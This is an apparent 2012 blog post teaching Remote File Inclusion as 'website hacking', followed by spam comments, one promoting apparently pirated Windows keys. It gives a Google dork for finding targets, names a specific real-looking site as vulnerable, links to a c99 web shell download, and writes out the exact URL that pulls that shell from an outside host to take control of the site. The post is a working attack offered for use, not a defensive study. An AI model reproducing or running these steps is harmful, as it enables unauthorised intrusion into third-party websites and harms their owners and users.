Tuesday, April 24, 2012

RFI (Remote File Inclusion) : Website Hacking Tutorial

Hello friends here i am posting one another method of website hacking called RFI (Remote File Inclusion)
Remote File Inclusion (RFI) is a type of vulnerability often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation.



Lets Start 
1st Step : Find a Vunerable websites using Google Dork



“inurl:index.php?page=” its a Dork of RFI hacking
It will show all the pages which has “index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or not the hacker use the following command
www.targetsite.com/index.php?page=www.google.com

see example of this website http://www.cbspk.com
http://www.cbspk.com/v2/index.php?page=http://www.google.com

If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack.

Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:

http://www.sh3ll.org/c99.zip

Now we need to upload the shells to a webhosting site such as ripway.com, viralhosts.com,110mb.com or another free hosts etc.

Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell ishttp://www.sh3ll.org/c99.txt?

Now here is how a hacker would execute the following command to gain access

http://www.cbspk.com/v2/index.php?page=http://www.sh3ll.org/c99.txt?




Don't Forget To add “?” after .txt at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it.

9 comments:

  1. tutorial maneiro

    ReplyDelete
  2. Enewmall, Online marketplace for selling and buying of products. cell phone cases and covers are 100% free, cheap ,no monthly fee, no listing fee, no sellers” fee, no transaction fee.
    Cell Phone Case

    ReplyDelete
  3. Pretty section of content. I just stumbled upon your blog and in
    accession capital to assert that I acquire in fact enjoyed account your blog posts.
    Any way I will be subscribing to your augment and even I achievement you access consistently fast.


    my page - weight loss program

    ReplyDelete
  4. Guys need windows key can go site www.funkinyes.com to got. My key got here and after i used is great works. Hope can help you.

    ReplyDelete
  5. Bluehost is ultimately one of the best web-hosting provider with plans for all of your hosting requirments.

    ReplyDelete